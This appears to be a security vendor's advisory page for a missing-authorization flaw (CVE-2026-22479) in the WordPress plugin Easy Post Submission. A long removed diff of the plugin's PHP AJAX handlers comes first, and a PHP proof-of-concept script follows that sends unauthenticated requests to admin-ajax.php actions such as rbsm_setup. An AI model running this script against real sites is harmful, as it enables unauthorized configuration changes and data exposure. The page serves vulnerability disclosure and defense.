-            if ( empty( $nonce ) || false === wp_verify_nonce( $nonce, self::$nonce ) ) {
-                wp_send_json_error( esc_html__( 'Invalid nonce.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $this->validate_permission();
-
-            if ( ! isset( $_POST['data'] ) ) {
-                wp_send_json_error( esc_html__( 'No data received to save. Please try again.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $data = json_decode( sanitize_textarea_field( wp_unslash( $_POST['data'] ) ), true );
-
-            if ( json_last_error() !== JSON_ERROR_NONE ) {
-                wp_send_json_error( esc_html__( 'Data invalid.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $title = isset( $data['title'] ) ? sanitize_text_field( $data['title'] ) : '';
-            $data  = isset( $data['data'] ) ? wp_json_encode( $data['data'] ) : '';
-
-            if ( json_last_error() !== JSON_ERROR_NONE || empty( $title ) || empty( $data ) ) {
-                wp_send_json_error( esc_html__( 'Title or data is missing.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            if ( $this->check_title_exist( $title ) ) {
-                wp_send_json_error( esc_html__( 'The form title already exists. Please choose a different title.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            // Create new form
-            $result = $this->create_form( $title, $data );
-
-            if ( $result ) {
-                wp_send_json_success( esc_html__( 'Save successfully!', 'easy-post-submission' ) );
-            } else {
-                wp_send_json_error( esc_html__( 'Failed to save to the database. Please temporarily deactivate the plugin and activate it again.', 'easy-post-submission' ) );
-            }
-
-            wp_die();
-        }
-
-        /**
-         * Create form data.
-         *
-         * This function is used to create form data by validating the provided data and saving it to the database.
-         * It returns the result of the database insertion or a boolean indicating success or failure.
-         *
-         * @param string $title The title of the form.
-         * @param string $data The form data to be saved.
-         *
-         * @return bool|int|mysqli_result Returns a boolean indicating success (`true`), the inserted record's ID (`int`),
-         * or a `mysqli_result` object on success. Returns `false` on failure.
-         */
-        private function create_form( $title = '', $data = '' ) {
-
-            global $wpdb;
-
-            $data_before_save_validate = $this->validate_data_before_saving( $data );
-            if ( ! $data_before_save_validate['status'] ) {
-                wp_send_json_error( $data_before_save_validate['message'] );
-                wp_die();
-            }
-
-            $data_after_sanitize = wp_json_encode( $data_before_save_validate['data'] );
-
-            $result = $wpdb->query(  // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-                $wpdb->prepare(
-                    "INSERT INTO {$wpdb->prefix}rb_submission (title, data) VALUES (%s, %s)",
-                    $title,
-                    $data_after_sanitize
-                ) );
-
-            if ( $result ) {
-                return $wpdb->insert_id;
-            }
-
-            return false;
-        }
-
-        /**
-         * Check if a form title already exists in the database.
-         *
-         * This function checks whether a given form title already exists in the 'rb_submission' table.
-         * It returns `true` if the title exists, or `false` if it does not.
-         *
-         * @param string $title The title to check for existence in the database.
-         *
-         * @return bool Returns `true` if the title exists, `false` otherwise.
-         */
-        private function check_title_exist( $title ) {
-            global $wpdb;
-
-            return (bool) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}rb_submission WHERE title = %s", $title ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-        }
-
-        /**
-         * Get all forms from the database.
-         *
-         * This function retrieves all forms stored in the 'rb_submission' table from the database.
-         * It returns a JSON response with the list of forms if found, or an error message if no records exist.
-         *
-         * @return void This function does not return a value but sends a JSON response on success or failure.
-         * @since 1.0.0
-         *
-         */
-        public function get_forms() {
-
-            $nonce = ( isset( $_POST['_nonce'] ) ) ? sanitize_key( $_POST['_nonce'] ) : '';
-            if ( empty( $nonce ) || false === wp_verify_nonce( $nonce, self::$nonce ) ) {
-                wp_send_json_error( esc_html__( 'Invalid nonce.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $this->validate_permission();
-
-            global $wpdb;
-
-            $result = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}rb_submission" );  // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-
-            if ( $result ) {
-                wp_send_json_success( $result );
-            } else {
-                wp_send_json_error( esc_html__( 'No records found', 'easy-post-submission' ) );
-            }
-
-            wp_die();
-        }
-
-        /**
-         * Validate data of form settings before saving it into the database.
-         *
-         * This function validates the form settings data by decoding the provided JSON string and checking for errors.
-         * It ensures that the necessary fields are present and returns a validation status along with a message.
-         *
-         * @param string $data The form data to validate, provided as a JSON string.
-         *
-         * @return array Returns an associative array with 'status' (boolean) and 'message' (string).
-         *               'status' is `true` if the data is valid, and `false` with an error message if invalid.
-         */
-        private function validate_data_before_saving( $data ) {
-
-            $data_object = json_decode( $data, true );
-            $new_data    = [];
-
-            if ( json_last_error() !== JSON_ERROR_NONE ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'Invalid data', 'easy-post-submission' ),
-                ];
-            }
-
-            $general_settings = $data_object['general_setting'] ?? null;
-            $user_login       = $data_object['user_login'] ?? null;
-            $form_fields      = $data_object['form_fields'] ?? null;
-            $security_fields  = $data_object['security_fields'] ?? null;
-            $email            = $data_object['email'] ?? null;
-
-            if ( empty( $general_settings ) || empty( $user_login ) || empty( $form_fields ) || empty( $security_fields ) || empty( $email ) ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'Data is missing some fields!', 'easy-post-submission' ),
-                ];
-            }
-
-            // validate general_setting data
-            $post_status      = isset( $general_settings['post_status'] ) ? sanitize_text_field( $general_settings['post_status'] ) : null;
-            $url_direction    = isset( $general_settings['url_direction'] ) ? $this->validate_url( sanitize_url( $general_settings['url_direction'] ) ) : null;
-            $unique_title     = isset( $general_settings['unique_title'] ) ? (bool) $general_settings['unique_title'] : null;
-            $form_layout_type = isset( $general_settings['form_layout_type'] ) ? sanitize_text_field( $general_settings['form_layout_type'] ) : null;
-
-            if ( is_null( $post_status ) || is_null( $url_direction ) || is_null( $unique_title ) || is_null( $form_layout_type ) ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'General setting data is invalid.', 'easy-post-submission' ),
-                ];
-            }
-
-            $new_data['general_setting'] = [
-                'post_status'      => $post_status,
-                'url_direction'    => $url_direction,
-                'unique_title'     => $unique_title,
-                'form_layout_type' => $form_layout_type
-            ];
-
-            // validate user_login data
-            $author_access             = isset( $user_login['author_access'] ) ? sanitize_text_field( $user_login['author_access'] ) : null;
-            $assign_author             = isset( $user_login['assign_author'] ) ? sanitize_text_field( $user_login['assign_author'] ) : null;
-            $assign_author_id          = isset( $user_login['assign_author_id'] ) ? (int) $user_login['assign_author_id'] : null;
-            $login_type                = isset( $user_login['login_type']['type'] ) ? sanitize_text_field( $user_login['login_type']['type'] ) : null;
-            $login_message             = isset( $user_login['login_type']['login_message'] ) ? sanitize_text_field( $user_login['login_type']['login_message'] ) : null;
-            $required_login_title      = isset( $user_login['login_type']['required_login_title'] ) ? sanitize_text_field( $user_login['login_type']['required_login_title'] ) : null;
-            $required_login_title_desc = isset( $user_login['login_type']['required_login_title_desc'] ) ? sanitize_text_field( $user_login['login_type']['required_login_title_desc'] ) : null;
-
-            if (
-                is_null( $author_access ) || is_null( $assign_author ) || is_null( $assign_author_id ) || is_null( $login_type ) || is_null( $login_message )
-                || is_null( $required_login_title ) || is_null( $required_login_title_desc )
-            ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'User login setting data is invalid.', 'easy-post-submission' ),
-                ];
-            }
-
-            $new_data['user_login'] = [
-                'author_access'    => $author_access,
-                'assign_author'    => $assign_author,
-                'assign_author_id' => $assign_author_id,
-                'login_type'       => [
-                    'type'                      => $login_type,
-                    'login_message'             => $login_message,
-                    'required_login_title'      => $required_login_title,
-                    'required_login_title_desc' => $required_login_title_desc,
-                ],
-            ];
-
-            // validate form_fields data
-            $user_name             = isset( $form_fields['user_name'] ) ? sanitize_text_field( $form_fields['user_name'] ) : null;
-            $user_email            = isset( $form_fields['user_email'] ) ? sanitize_text_field( $form_fields['user_email'] ) : null;
-            $post_title            = isset( $form_fields['post_title'] ) ? sanitize_text_field( $form_fields['post_title'] ) : null;
-            $tagline               = isset( $form_fields['tagline'] ) ? sanitize_text_field( $form_fields['tagline'] ) : null;
-            $editor_type           = isset( $form_fields['editor_type'] ) ? sanitize_text_field( $form_fields['editor_type'] ) : null;
-            $max_images            = isset( $form_fields['max_images'] ) ? absint( $form_fields['max_images'] ) : null;
-            $max_image_size        = isset( $form_fields['max_image_size'] ) ? absint( $form_fields['max_image_size'] ) : null;
-            $featured_image_status = isset( $form_fields['featured_image']['status'] ) ? sanitize_text_field( $form_fields['featured_image']['status'] ) : null;
-
-            $upload_file_size_limit = isset( $form_fields['featured_image']['upload_file_size_limit'] )
-                ? absint( $form_fields['featured_image']['upload_file_size_limit'] )
-                : null;
-
-            $default_featured_image = isset( $form_fields['featured_image']['default_featured_image'] )
-                ? sanitize_text_field( $form_fields['featured_image']['default_featured_image'] )
-                : null;
-
-            $categories_multi = filter_var( $form_fields['categories']['multiple_categories'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-
-            $exclude_categories = isset( $form_fields['categories']['exclude_categories'] )
-                ? array_map( 'sanitize_text_field', $form_fields['categories']['exclude_categories'] )
-                : null;
-
-            $exclude_category_ids = isset( $form_fields['categories']['exclude_category_ids'] )
-                ? array_map( 'sanitize_text_field', $form_fields['categories']['exclude_category_ids'] )
-                : null;
-
-            $auto_assign_categories = isset( $form_fields['categories']['auto_assign_categories'] )
-                ? array_map( 'sanitize_text_field', $form_fields['categories']['auto_assign_categories'] )
-                : null;
-
-            $auto_assign_category_ids = isset( $form_fields['categories']['auto_assign_category_ids'] )
-                ? array_map( 'sanitize_text_field', $form_fields['categories']['auto_assign_category_ids'] )
-                : null;
-
-            $tags_multi   = filter_var( $form_fields['tags']['multiple_tags'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $tags_add_new = filter_var( $form_fields['tags']['allow_add_new_tag'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-
-            $exclude_tags = isset( $form_fields['tags']['exclude_tags'] )
-                ? array_map( 'sanitize_text_field', $form_fields['tags']['exclude_tags'] )
-                : null;
-
-            $exclude_tag_ids = isset( $form_fields['tags']['exclude_tag_ids'] )
-                ? array_map( 'sanitize_text_field', $form_fields['tags']['exclude_tag_ids'] )
-                : null;
-
-            $auto_assign_tags = isset( $form_fields['tags']['auto_assign_tags'] )
-                ? array_map( 'sanitize_text_field', $form_fields['tags']['auto_assign_tags'] )
-                : null;
-
-            $auto_assign_tag_ids = isset( $form_fields['tags']['auto_assign_tag_ids'] )
-                ? array_map( 'sanitize_text_field', $form_fields['tags']['auto_assign_tag_ids'] )
-                : null;
-
-            $is_valid_custom_field = $this->validate_custom_field( $form_fields )['status'];
-            $custom_field          = $this->validate_custom_field( $form_fields )['data'];
-
-            if (
-                is_null( $user_name ) || is_null( $user_email ) || is_null( $post_title ) || is_null( $tagline ) || is_null( $editor_type )
-                || is_null( $max_images ) || is_null( $max_image_size )
-                || is_null( $featured_image_status ) || is_null( $upload_file_size_limit )
-                || is_null( $default_featured_image ) || is_null( $categories_multi ) || is_null( $exclude_categories )
-                || is_null( $auto_assign_categories ) || is_null( $tags_multi ) || is_null( $tags_add_new ) || is_null( $exclude_tags )
-                || is_null( $auto_assign_tags ) || is_null( $exclude_category_ids ) || is_null( $auto_assign_category_ids ) || is_null( $exclude_tag_ids )
-                || is_null( $auto_assign_tag_ids ) || ! $is_valid_custom_field
-            ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'Form fields setting data is invalid.', 'easy-post-submission' ),
-                ];
-            }
-
-            $new_data['form_fields'] = [
-                'user_name'      => $user_name,
-                'user_email'     => $user_email,
-                'post_title'     => $post_title,
-                'tagline'        => $tagline,
-                'editor_type'    => $editor_type,
-                'max_images'     => $max_images,
-                'max_image_size' => $max_image_size,
-                'featured_image' => [
-                    'status'                 => $featured_image_status,
-                    'upload_file_size_limit' => $upload_file_size_limit,
-                    'default_featured_image' => $default_featured_image,
-                ],
-                'categories'     => [
-                    'multiple_categories'      => $categories_multi,
-                    'exclude_categories'       => $exclude_categories,
-                    'exclude_category_ids'     => $exclude_category_ids,
-                    'auto_assign_categories'   => $auto_assign_categories,
-                    'auto_assign_category_ids' => $auto_assign_category_ids,
-                ],
-                'tags'           => [
-                    'multiple_tags'       => $tags_multi,
-                    'allow_add_new_tag'   => $tags_add_new,
-                    'exclude_tags'        => $exclude_tags,
-                    'exclude_tag_ids'     => $exclude_tag_ids,
-                    'auto_assign_tags'    => $auto_assign_tags,
-                    'auto_assign_tag_ids' => $auto_assign_tag_ids,
-                ],
-                'custom_field'   => $custom_field,
-            ];
-
-            // validate security_fields field
-            $challenge_status   = filter_var( $security_fields['challenge']['status'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $challenge_question = isset( $security_fields['challenge']['question'] ) ? sanitize_text_field( $security_fields['challenge']['question'] ) : null;
-            $challenge_response = isset( $security_fields['challenge']['response'] ) ? sanitize_text_field( $security_fields['challenge']['response'] ) : null;
-
-            if ( is_null( $challenge_status ) || is_null( $challenge_question ) || is_null( $challenge_response ) ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'Security setting data is invalid.', 'easy-post-submission' ),
-                ];
-            }
-
-            $new_data['security_fields'] = [
-                'challenge' => [
-                    'status'   => $challenge_status,
-                    'question' => $challenge_question,
-                    'response' => $challenge_response,
-                ],
-            ];
-
-            // validate emails field
-            $admin_email          = isset( $email['admin_mail']['email'] ) ? $this->validate_email( sanitize_text_field( $email['admin_mail']['email'] ) ) : null;
-            $admin_mail_status    = filter_var( $email['admin_mail']['status'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $admin_subject        = isset( $email['admin_mail']['subject'] ) ? sanitize_text_field( $email['admin_mail']['subject'] ) : null;
-            $admin_title          = isset( $email['admin_mail']['title'] ) ? sanitize_text_field( $email['admin_mail']['title'] ) : null;
-            $admin_message        = $this->validate_textarea_content( $email['admin_mail']['message'] ?? null );
-            $post_submit          = filter_var( $email['post_submit_notification']['status'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $post_submit_subject  = isset( $email['post_submit_notification']['subject'] ) ? sanitize_text_field( $email['post_submit_notification']['subject'] ) : null;
-            $post_submit_title    = isset( $email['post_submit_notification']['title'] ) ? sanitize_text_field( $email['post_submit_notification']['title'] ) : null;
-            $post_submit_message  = $this->validate_textarea_content( $email['post_submit_notification']['message'] ?? null );
-            $post_publish         = filter_var( $email['post_publish_notification']['status'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $post_publish_subject = isset( $email['post_publish_notification']['subject'] ) ? sanitize_text_field( $email['post_publish_notification']['subject'] ) : null;
-            $post_publish_title   = isset( $email['post_publish_notification']['title'] ) ? sanitize_text_field( $email['post_publish_notification']['title'] ) : null;
-            $post_publish_message = $this->validate_textarea_content( $email['post_publish_notification']['message'] ?? null );
-            $post_trash           = filter_var( $email['post_trash_notification']['status'] ?? null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
-            $post_trash_subject   = isset( $email['post_trash_notification']['subject'] ) ? sanitize_text_field( $email['post_trash_notification']['subject'] ) : null;
-            $post_trash_title     = isset( $email['post_trash_notification']['title'] ) ? sanitize_text_field( $email['post_trash_notification']['title'] ) : null;
-            $post_trash_message   = $this->validate_textarea_content( $email['post_trash_notification']['message'] ?? null );
-
-            if (
-                is_null( $admin_email ) || is_null( $admin_mail_status ) || is_null( $admin_subject ) || is_null( $admin_title ) || is_null( $admin_message )
-                || is_null( $post_submit ) || is_null( $post_submit_subject ) || is_null( $post_submit_title ) || is_null( $post_submit_message )
-                || is_null( $post_publish ) || is_null( $post_publish_subject ) || is_null( $post_publish_title ) || is_null( $post_publish_message )
-                || is_null( $post_trash ) || is_null( $post_trash_subject ) || is_null( $post_trash_title ) || is_null( $post_trash_message )
-            ) {
-                return [
-                    'status'  => false,
-                    'message' => esc_html__( 'Email setting data is invalid.', 'easy-post-submission' ),
-                ];
-            }
-
-            $new_data['email'] = [
-                'admin_mail'                => [
-                    'email'   => $admin_email,
-                    'status'  => $admin_mail_status,
-                    'subject' => $admin_subject,
-                    'title'   => $admin_title,
-                    'message' => $admin_message,
-                ],
-                'post_submit_notification'  => [
-                    'status'  => $post_submit,
-                    'subject' => $post_submit_subject,
-                    'title'   => $post_submit_title,
-                    'message' => $post_submit_message,
-                ],
-                'post_publish_notification' => [
-                    'status'  => $post_publish,
-                    'subject' => $post_publish_subject,
-                    'title'   => $post_publish_title,
-                    'message' => $post_publish_message,
-                ],
-                'post_trash_notification'   => [
-                    'status'  => $post_trash,
-                    'subject' => $post_trash_subject,
-                    'title'   => $post_trash_title,
-                    'message' => $post_trash_message,
-                ],
-            ];
-
-            return [
-                'status'  => true,
-                'message' => esc_html__( 'valid data before saving!', 'easy-post-submission' ),
-                'data'    => $new_data,
-            ];
-        }
-
-        /**
-         * Validate the provided email address.
-         *
-         * This function checks whether the given email is valid. If the email is empty, it returns the empty value.
-         * If the email is valid, it returns the email; otherwise, it returns `null`.
-         *
-         * @param string $email The email address to validate.
-         *
-         * @return string|null Returns the email if valid, or `null` if invalid.
-         */
-        private function validate_email( $email ) {
-            if ( $email === '' ) {
-                return $email;
-            }
-
-            if ( is_email( $email ) ) {
-                return $email;
-            }
-
-            return null;
-        }
-
-        /**
-         * Validate the provided URL.
-         *
-         * This function checks whether the given URL is valid. If the URL is empty, it returns the empty value.
-         * If the URL is valid, it returns the URL; otherwise, it returns `null`.
-         *
-         * @param string $url The URL to validate.
-         *
-         * @return string|null Returns the URL if valid, or `null` if invalid.
-         */
-        private function validate_url( $url ) {
-            if ( $url === '' ) {
-                return $url;
-            }
-
-            if ( filter_var( $url, FILTER_VALIDATE_URL ) ) {
-                return $url;
-            }
-
-            return null;
-        }
-
-        /**
-         * Validate the content of a textarea before saving.
-         *
-         * This function checks whether the current user has permission to use unfiltered HTML. If the user has permission,
-         * it returns the content as is. If not, it sanitizes the content by stripping out all HTML tags except for a set of allowed tags.
-         *
-         * @param string $content The content of the textarea to validate.
-         *
-         * @return string Returns the validated content, either as is or sanitized by stripping unwanted HTML tags.
-         */
-        private function validate_textarea_content( $content ) {
-            if ( current_user_can( 'unfiltered_html' ) ) {
-                return $content;
-            }
-
-            return strip_tags( $content, '<h1><h2><h3><h4><h5><h6><strong><b><em><i><a><code><p><div><ol><ul><li><br><button><figure><img><iframe><video><audio>' );
-        }
-
-        /**
-         * Validate custom field data in the form fields section.
-         *
-         * This function validates the custom field data provided in the form fields section, ensuring that the data meets the required format and structure.
-         * It returns an associative array containing the validation status and any error messages.
-         *
-         * @param array $form_fields The custom fields data to validate.
-         *
-         * @return array Returns an associative array with 'status' (boolean) and 'message' (string) for validation results.
-         */
-        private function validate_custom_field( $form_fields ) {
-
-            $custom_field_array = isset( $form_fields['custom_field'] ) ? (array) $form_fields['custom_field'] : null;
-            $data               = [];
-
-            if ( is_null( $custom_field_array ) ) {
-                return [
-                    'status' => false,
-                    'data'   => $data,
-                ];
-            }
-
-            foreach ( $custom_field_array as $custom_field ) {
-                $custom_field_name  = sanitize_text_field( $custom_field['custom_field_name'] ?? '' );
-                $custom_field_label = sanitize_text_field( $custom_field['custom_field_label'] ?? '' );
-                $field_type         = sanitize_text_field( $custom_field['field_type'] ?? '' );
-
-                if ( empty( $custom_field_name ) || empty( $custom_field_label ) || empty( $field_type ) ) {
-                    return [
-                        'status' => false,
-                        'data'   => $data,
-                    ];
-                }
-
-                $data[] = [
-                    'custom_field_name'  => $custom_field_name,
-                    'custom_field_label' => $custom_field_label,
-                    'field_type'         => $field_type,
-                ];
-            }
-
-            return [
-                'status' => true,
-                'data'   => $data,
-            ];
-        }
-
-        /**
-         * Update form settings in the database.
-         *
-         * This function validates user permissions, retrieves the form data from the request,
-         * and updates the corresponding form settings in the 'rb_submission' table.
-         * It sends a JSON response indicating success or failure based on the outcome.
-         *
-         * @return void This function does not return a value but sends a JSON response on success or failure.
-         * @since 1.0.0
-         *
-         */
-        public function update_form() {
-
-            $nonce = ( isset( $_POST['_nonce'] ) ) ? sanitize_key( $_POST['_nonce'] ) : '';
-            if ( empty( $nonce ) || false === wp_verify_nonce( $nonce, self::$nonce ) ) {
-                wp_send_json_error( esc_html__( 'Invalid nonce.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $this->validate_permission();
-
-            global $wpdb;
-            $table_name = $wpdb->prefix . 'rb_submission';
-
-            if ( ! isset( $_POST['data'] ) ) {
-                wp_send_json_error( esc_html__( 'Form data is incorrect or missing.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $data = json_decode( wp_kses_post( wp_unslash( $_POST['data'] ) ),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22479 - Easy Post Submission – Frontend Posting, Guest Publishing & Submit Content for WordPress <= 2.2.0 - Missing Authorization

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Target the WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Choose one of the vulnerable AJAX actions
$actions = [
    'rbsm_setup',               // Setup wizard
    'rbsm_get_forms',           // Retrieve forms
    'rbsm_get_authors',         // Get author list
    'rbsm_admin_get_categories', // Get categories
    'rbsm_admin_get_tags',      // Get tags
    'rbsm_get_post_manager',    // Get post manager settings
];

// Use the first action for demonstration
$action = $actions[0];

// Prepare POST data
$post_data = [
    'action' => $action,
    '_nonce' => 'dummy_nonce', // Nonce is validated but permission check fails first
    'createForm' => 'true',    // For rbsm_setup action
    'createSubmitPage' => 'true',
    'createProfilePage' => 'true',
    'createEditPage' => 'true',
    'createLoginPage' => 'true',
    'createRegisterPage' => 'true'
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Successful exploitation typically returns JSON success
    if (strpos($response, '"success":true') !== false) {
        echo "[+] VULNERABLE: Unauthorized AJAX action executed successfullyn";
    } else if (strpos($response, 'You are not allowed') !== false) {
        echo "[-] PATCHED: Permission check is workingn";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School